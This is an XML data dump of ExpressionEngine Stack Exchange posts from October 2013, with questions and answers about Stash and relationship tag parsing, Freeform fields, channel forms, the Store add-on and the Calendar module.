  <row Id="14665" PostTypeId="1" CreationDate="2013-10-17T13:33:55.930" Score="1" ViewCount="464" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries uri_page=&quot;{last_segment}&quot;}&#xA;&amp;lt;!--Set some stash variables here, then:--&amp;gt;&#xA;    {exp:stash:set name=&quot;content&quot;}&#xA;    &amp;lt;!--Some markup here, then:--&amp;gt;&#xA;          &amp;lt;section class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&#xA;              Related Articles&#xA;            &amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;              {related_articles}&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;h4&amp;gt;{related_articles:title}&amp;lt;/h4&amp;gt;&#xA;                  &amp;lt;p&amp;gt;&#xA;                    {related_articles:excerpt}&#xA;                    &amp;lt;a class=&quot;action&quot; href=&quot;#&quot;&amp;gt;Continue reading&amp;lt;/a&amp;gt;&#xA;                  &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;              {/related_articles}&#xA;            &amp;lt;/ul&amp;gt;&#xA;          &amp;lt;/section&amp;gt;&#xA;    &amp;lt;!--Some more markup.--&amp;gt;&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet the relationship tags aren’t parsed at all. The output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;section class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&#xA;      Related Articles&#xA;    &amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      {related_articles}&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;h4&amp;gt;{related_articles:title}&amp;lt;/h4&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {related_articles:excerpt}&#xA;            &amp;lt;a class=&quot;action&quot; href=&quot;#&quot;&amp;gt;Continue reading&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/related_articles}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’ve made sure that the relationship field is named correctly (&lt;code&gt;{related_articles}&lt;/code&gt;) and that the related articles are saved to the entry. All the other fields in the entry are parsed correctly in my template; only the relationships don’t get parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding &lt;code&gt;channel=&quot;channel_name&quot;&lt;/code&gt; to the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag, thinking maybe EE needs to have a specific channel set in order for Relationships to work, but to no avail. I’ve also confirmed that the Relationships field type is installed (which is confirmed by the fact that I was able to create the field in the first place, but I’m grasping at straws here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve searched far and wide, and have been unable to find a solution to this, nor anybody reporting the same issue. Any help will be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2205" LastEditorUserId="69" LastEditDate="2013-10-17T17:21:52.477" LastActivityDate="2013-10-18T13:13:26.150" Title="Relationships tag not parsed" Tags="|templates|stash|relationships|tags|parse|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14666" PostTypeId="1" CreationDate="2013-10-17T14:14:22.280" Score="0" ViewCount="96" Body="&lt;p&gt;I have three channels: Books, Screenplays, and Reviews. The Reviews channel includes a relationships field, where the user can assign the review to a particular book or screenplay. Thus the relationships field draws its available choices from two channels, but the relationship itself is one-to-one (ie. Allow Multiple Relations is OFF).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, this means that I have one parent channel (Reviews) and two child channels (Books and Screenplays).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no problem displaying the reviews for a specific book on the book's own page (/books/view/the-book-i-wrote); I do that by accessing the {parents} tag from inside a {exp:channel:entries channel=books} tag. However, what I also want to do is have a list of general book reviews on the book index page (/books/index.php) -- NOTE: &lt;em&gt;book&lt;/em&gt; reviews only, excluding any screenplay reviews. So I want to limit the results derived from the reviews channel to ONLY those reviews that have been assigned a relationship to an entry residing in a &lt;em&gt;specific child channel&lt;/em&gt;. I cannot work out how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realised that assigning a channel parameter to the {parents} tag is not the way -- it is intended to differentiate between multiple parent channels, not limit the results derived from a particular parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me untangle this? &#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-10-17T16:45:03.793" Title="Limited results by the channel of a related entry" Tags="|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14667" PostTypeId="2" ParentId="14642" CreationDate="2013-10-17T14:27:57.480" Score="1" Body="&lt;p&gt;Is the field you are storing {user_entry_id} in a field you've actually added to Freeform itself? If not, its not going to carry over into notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Freeform Pro, there is a &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#hidden&quot; rel=&quot;nofollow&quot;&gt;hidden field&lt;/a&gt; type that you can use, which even has CURRENT_USER (logged in member_id) as a possible default value (at creation time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the free version of Freeform, you can just add a text field named 'user_entry_id' without any other modification to your form and keep using the hidden field you are using now, and it will save the data and should carry over to notifications then as it will be a field registered with that form.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-17T14:27:57.480" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14669" PostTypeId="2" ParentId="14659" CreationDate="2013-10-17T14:43:10.430" Score="1" Body="&lt;p&gt;You can add ids and classes to any form field with the attr: prefix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:my_text_field attr:id=&quot;myId&quot; attr:class=&quot;myClass&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in composer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:{composer:field_name} attr:id=&quot;myId&quot; attr:class=&quot;myClass&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need it per item in radios and checkboxes, you can also adjust the wrapper attributes as params on {freeform:field:FIELD_NAME} &#xA;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#checkbox_group&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#checkbox_group&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#radio&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#radio&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-17T14:43:10.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14671" PostTypeId="1" AcceptedAnswerId="14720" CreationDate="2013-10-17T15:45:15.260" Score="0" ViewCount="546" Body="&lt;p&gt;this is my form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;contactform&quot; return=&quot;contact/dank&quot; include_jquery=&quot;no&quot;  include_assets=&quot;no&quot;}&#xA;&amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot;  name=&quot;firstname&quot; id=&quot;firstname&quot; placeholder=&quot;Name&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;lastname&quot; id=&quot;lastname&quot; placeholder=&quot;Surname&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;title&quot; id=&quot;title&quot; placeholder=&quot;Company&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;function&quot; id=&quot;function&quot; placeholder=&quot;Function&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;zip&quot; id=&quot;zip&quot; placeholder=&quot;Zip code&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;span6 last notopspace&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;city&quot; id=&quot;city&quot; placeholder=&quot;City&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;country&quot; id=&quot;country&quot; placeholder=&quot;Country&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;E-mail&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;field mandatory&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;text-input mandatory&quot; size=&quot;33&quot; name=&quot;tel&quot; id=&quot;tel&quot; placeholder=&quot;Tel&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;                                      &#xA;&amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;            &amp;lt;textarea cols=&quot;78&quot; rows=&quot;5&quot; name=&quot;question&quot; id=&quot;question&quot; placeholder=&quot;Insert free text&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;div class=&quot;actionbuttons&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit&quot; id=&quot;formsubmit&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CHANNEL FORM SETTINGS:&#xA;contactform&gt; allow guest posts: Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i include the form as a snippet and i had to disable jquery as it gave conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the forms works via /home or /contact, but not via index&lt;/p&gt;&#xA;" OwnerUserId="834" LastEditorUserId="834" LastEditDate="2013-10-23T11:49:14.393" LastActivityDate="2013-10-23T11:49:14.393" Title="channel form not working on index" Tags="|channel-form|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14672" PostTypeId="2" ParentId="14666" CreationDate="2013-10-17T16:32:32.987" Score="1" Body="&lt;p&gt;You could do something like this, but # of results may vary since the filtering is done inside the &lt;code&gt;entries&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;reviews&quot; dynamic=&quot;no&quot; limit=&quot;10&quot;}&#xA;    ...&#xA;    {relationship_field channel=&quot;books&quot;}&#xA;        {relationship_field:title}&#xA;    {/relationship_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My only other suggestion would be to add categories to the reviews channel for each type (ie. books &amp;amp; screenplays)&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-10-17T16:45:03.793" LastActivityDate="2013-10-17T16:45:03.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14673" PostTypeId="1" AcceptedAnswerId="14677" CreationDate="2013-10-17T17:16:20.943" Score="2" ViewCount="33" Body="&lt;p&gt;My client runs a women's clothing store where they need to enter size &quot;0&quot; for some of the items. However, it seems like Store interprets this entry as an empty field and does not allow it as an option in the modifier field. As a workaround we've used size &quot;00&quot;, but I've been told that &quot;00&quot; and &quot;0&quot; are actually 2 different sizes in women's clothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running Store 1.6.1.&lt;/p&gt;&#xA;" OwnerUserId="946" LastActivityDate="2013-10-21T20:12:10.443" Title="Include size &quot;0&quot; in Store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14674" PostTypeId="2" ParentId="14665" CreationDate="2013-10-17T17:21:22.633" Score="1" Body="&lt;p&gt;In your Stash tag, you probably need to add the &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries uri_page=&quot;{last_segment}&quot;}&#xA;&amp;lt;!--Set some stash variables here, then:--&amp;gt;&#xA;    {exp:stash:set name=&quot;content&quot; parse_tags=&quot;yes&quot;}&#xA;    ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Separate your queries from your markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries uri_page=&quot;{last_segment}&quot;}&#xA;  {exp:stash:set}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:custom_field_1}{my_custom_field}{/stash:custom_field_1}&#xA;    {!-- do this for all of the fields you'll need --}&#xA;  {/exp:stash:set}&#xA;&#xA;  {exp:stash:set_list name=&quot;related_articles&quot; parse_tags=&quot;yes&quot;}&#xA;    {related_articles}&#xA;      {stash:rel_title}{related_articles:title}{/stash:rel_title}&#xA;      {stash:rel_excerpt}{related_articles:excerpt}{/stash:rel_excerpt}&#xA;    {/related_articles}&#xA;  {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then apply the Stash fields to the markup below on the same template or Stash embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{stash:title}&amp;lt;/h1&amp;gt;&#xA;{stash:custom_field_1}&#xA;&amp;lt;section class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&#xA;      Related Articles&#xA;    &amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      {exp:stash:get_list name=&quot;related_articles&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;h4&amp;gt;{rel_title}&amp;lt;/h4&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {rel_excerpt}&#xA;            &amp;lt;a class=&quot;action&quot; href=&quot;#&quot;&amp;gt;Continue reading&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-17T18:49:04.297" LastActivityDate="2013-10-17T18:49:04.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14675" PostTypeId="2" ParentId="14658" CreationDate="2013-10-17T17:31:30.243" Score="1" Body="&lt;p&gt;If you're simply listing events and occurrences in a chronological order and only want to display upcoming events, use {exp:calendar:cal} with the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;+1 month&quot; {!-- ...or whatever timeframe in the future --}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using {exp:calendar:cal} to build a &lt;em&gt;monthly calendar table&lt;/em&gt;, however, the above would give you a partial calendar table, with some weeks/days missing. In that case, try comparing each event's start date with the {current_time} variable available in EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{event_start_date format=&quot;%U&quot;}' &amp;gt; '{current_time format=&quot;%U&quot;}'} Your event data {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some points:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Be careful of quotes in the above!&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://www.solspace.com/docs/calendar/month/#examples&quot; rel=&quot;nofollow&quot;&gt;advanced monthly calendar example&lt;/a&gt;, or something along those lines. You may be able to pull it off with {exp:calendar:month} as well, but {exp:calendar:cal} is the most thorough and flexible tag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-17T17:31:30.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14676" PostTypeId="2" ParentId="13581" CreationDate="2013-10-17T17:40:51.140" Score="3" Body="&lt;p&gt;New version is available for download. All bugs with Grid field was fixed. My apologies for delay. Please send me email in case if you will have any errors in future.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-17T17:40:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14677" PostTypeId="2" ParentId="14673" CreationDate="2013-10-17T18:09:45.870" Score="1" Body="&lt;p&gt;I was able to recreate the issue on a site that I have too, this seems like a bug or oversight in how 0 &amp;amp; null are handled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;0&amp;amp;nbsp;&lt;/code&gt; or &lt;code&gt;'0  '&lt;/code&gt; in the option portion to get it to work without having to use 00 which would be a different size. Inserting either an actual space or the html for a forced space will cause Store to create it as a modifier.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-17T18:09:45.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14678" PostTypeId="1" CreationDate="2013-10-17T18:38:35.113" Score="1" ViewCount="339" Body="&lt;p&gt;I had a fun time tracking this down. Every time I would copy/paste a link from a site's blog, the title would display, the link would display, but the images would return nothing. The link was correct and clicking the link would take me to the correct post. I went through my settings in NSM Better Meta and included all of the recommended OG meta tags, but still, nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I found was that by changing my URL of Upload Directory from just &quot;//&quot; to &quot;http://&quot; fixed the issue. That's all fine and dandy, but it doesn't help me keep relative protocols for images. I have both http and https on this site in different locations. It also depends on where they are coming from and if that section of the site has a link that was entered as https. (Not under my control)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to set a relative path in the URL of Upload Directory field and have the templates render the path with the protocol from the address bar used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXAMPLE:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tPOun.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This renders as:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/he6CI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is correct. I can switch from http: to https: without issues of mixed content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I copy the link and paste it in FB, the issue is seen:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6zqwh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOW...&lt;/em&gt;&lt;/strong&gt;&#xA;Change over to the http: or https: in the settings...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YnmnY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This renders as:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uf9Jb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is correct, but not what I want...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I copy and paste this link into FB, I am given the images...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/quFH8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THIS is why I am confused....&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-10-18T17:54:05.757" LastActivityDate="2013-10-18T17:54:05.757" Title="Protocol agnostic server paths and facebook images in links" Tags="|file-uploads|file-manager|facebook|image-path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14680" PostTypeId="2" ParentId="14678" CreationDate="2013-10-17T19:01:23.533" Score="1" Body="&lt;p&gt;We forked and modified Bjørn Børresen's SEO Lite module to support basic OG meta tags. The module setting default image still requires an absolute URL; however, for the publish tab and per entry meta, we employed a file upload capability that taps into the native EE file manager and will add a full url dynamically based on file upload settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our changes are open source. Not sure this is the answer you are looking for, but thought I'd share. &lt;a href=&quot;https://github.com/Minds-On-Design-Lab/modl_meta.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Minds-On-Design-Lab/modl_meta.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2013-10-17T19:01:23.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14681" PostTypeId="2" ParentId="14638" CreationDate="2013-10-17T19:16:14.187" Score="1" Body="&lt;p&gt;Nick, in case you missed it, have you considered stash + partials + stash templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive previously posted some code &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14243/building-a-ugc-site-using-expressionengine/14269#14269&quot;&gt;here&lt;/a&gt;. it will give you an idea of the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set content for your block a,b,c use {exp:stash:set name=&quot;block_a&quot;} in your page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template can point to required layout like this {embed=&quot;layout/aba&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your layout template, add content blocks in required order like this {exp:stash:block_a}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have vars to pass, you can use {exp:stash:set_list...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Across your templates, reuse code by using stash templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And all this is achieved using a single embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And another benefit. You have a layout template abc and it has three blocks a,b,c. Your page template should also set content for blocks a,b,c. If you do not set content for say block b, passing only a,c the layout template will just skip block c and not display anything. That effectively gives you even further freedom to create extra layouts. In other words layout abc can also output combinations of ab or ac or bc. &lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-17T19:32:45.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14682" PostTypeId="1" CreationDate="2013-10-17T19:58:44.620" Score="1" ViewCount="70" Body="&lt;p&gt;I'm looking for some general advice and best practices on organizing/architecting a calendar using the Solspace Calendar module. We are redesigning the Special Olympics of VA website. This group has a ton of events which are organizing by local &quot;Areas&quot; that include counties and cities. These Areas are further grouped by Region (like Southwest, East, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Areas manage events, so individuals there will need to be able to post their events. For that reason, it seems sensible to create calendars for each Area – about 31 total. However, the audience for this site frequently needs to view events by regions – essentially a collection of Areas. To further complicate things, there are a few types of events, such as Sports or Fundraising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to maximize the built-in features of Calendar where possible, adapting the demo templates and so on so that we can do as much as possible for the organization with the budget we have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the best way may be to simply use Categories for both Regions and types of events. That's not native to the Calendar module, but seem like it wouldn't take much to filter by a category url title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love anyone's thoughts on this. You can check out their current calendar &lt;a href=&quot;http://www.specialolympicsva.org/View/Page/Calendar&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1103" LastActivityDate="2013-10-18T02:22:41.683" Title="Advice on organizing events using Calendar module" Tags="|solspace|solspace-calendar|calendar|bestpractice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14683" PostTypeId="2" ParentId="14621" CreationDate="2013-10-17T20:36:48.323" Score="1" Body="&lt;p&gt;One way you could set up the due date - use a custom order field. Store provides up to 9 custom text fields per order. You would need to generate a hidden field during checkout which fills one of these fields with the date you need (either using javascript or an add-on which can generate dates for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make it very easy to display in the order confirmation email etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the manual payment gateway then you can use the order confirmation email to send to your customer, or create an additional status and configure an email to be sent when you change the order to that status.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-17T20:36:48.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14684" PostTypeId="2" ParentId="14624" CreationDate="2013-10-17T20:39:28.073" Score="0" Body="&lt;p&gt;This sounds much harder than it needs to be. Have you thought about using Store's native member registration features? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/checkout_tag.html#registering_members&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still use Solspace User to handle the update profile pages etc, but just use Store for the initial member registration during checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'd avoid uploading an avatar at the same time as checking out, payment processing etc. It's just too much that could go wrong in a single request. Why don't you just ask the customer to optionally upload an avatar &lt;em&gt;after&lt;/em&gt; they make payment? That way it can be an optional extra if they want their avatar to be shown.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-17T20:39:28.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14685" PostTypeId="2" ParentId="14627" CreationDate="2013-10-17T20:50:51.047" Score="1" Body="&lt;p&gt;Is there are particular reason you are using mod_fcgi? Are you managing the server yourself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From googling the error it doesn't seem related to EE at all - this question on Stack Overflow may be helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/12477627/mod-fcgid-ap-pass-brigade-failed-in-handle-request-function&quot;&gt;https://stackoverflow.com/questions/12477627/mod-fcgid-ap-pass-brigade-failed-in-handle-request-function&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-10-17T20:50:51.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14686" PostTypeId="2" ParentId="14572" CreationDate="2013-10-17T20:57:16.987" Score="2" Body="&lt;p&gt;As Justin said, the best way to do this on a per-template basis is to use a separate add-on to format the number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are using an add-on, remember there are &lt;code&gt;_val&lt;/code&gt; variables available to you, which display the unformatted decimal. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{price_val}&#xA;{sale_price_val}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if your price is a whole number, sometimes you can use these in your template to display it. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;${price_val}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, that won't work if some of your products do have a decimal place, or you want to consistently set the currency symbol or decimal separator.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-17T20:57:16.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
